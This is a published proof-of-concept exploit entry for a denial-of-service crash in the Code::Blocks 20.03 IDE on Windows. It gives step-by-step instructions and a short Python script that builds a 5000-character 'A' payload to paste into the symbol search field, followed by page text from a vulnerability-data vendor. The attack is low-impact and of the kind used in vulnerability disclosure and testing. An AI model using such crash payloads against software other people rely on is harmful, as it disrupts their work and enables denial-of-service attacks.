# Exploit Title: Code Blocks 20.03 - Denial Of Service (PoC)
# Vendor Homepage: http://www.codeblocks.org/
# Software Link Download: https://sourceforge.net/projects/codeblocks/files/Binaries/20.03/Windows/codeblocks-20.03-setup.exe/download
# Exploit Author: Paras Bhatia
# Discovery Date: 2020-06-23
# Vulnerable Software: Code Blocks
# Version: 20.03
# Vulnerability Type: Denial of Service (DoS)
# Tested on: Windows 7 Ultimate Service Pack 1 (32 bit - English)
#Steps to Produce the Crash:
# 1.- Run python code: CodeBlocksCrash.py
# 2.- Copy content to clipboard
# 3.- Open "codeblocks.exe"
# 4.- In the "Management" section on left hand side, Click on "FSymbols" tab.
# 5.- Select "Active project's symbols" from drop down "View:" menu.
# 6.- Paste ClipBoard into the "Search:" field.
# 7.- Press Enter from keyboard.
# 8.- Crashed.
##################################################################################################################################################
#Python "CodeBlocksCrash.py" Code:
f= open("CodeBlocksCrash.txt", "w")
payload="\x41" * 5000
f.write(payload)
f.close()Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation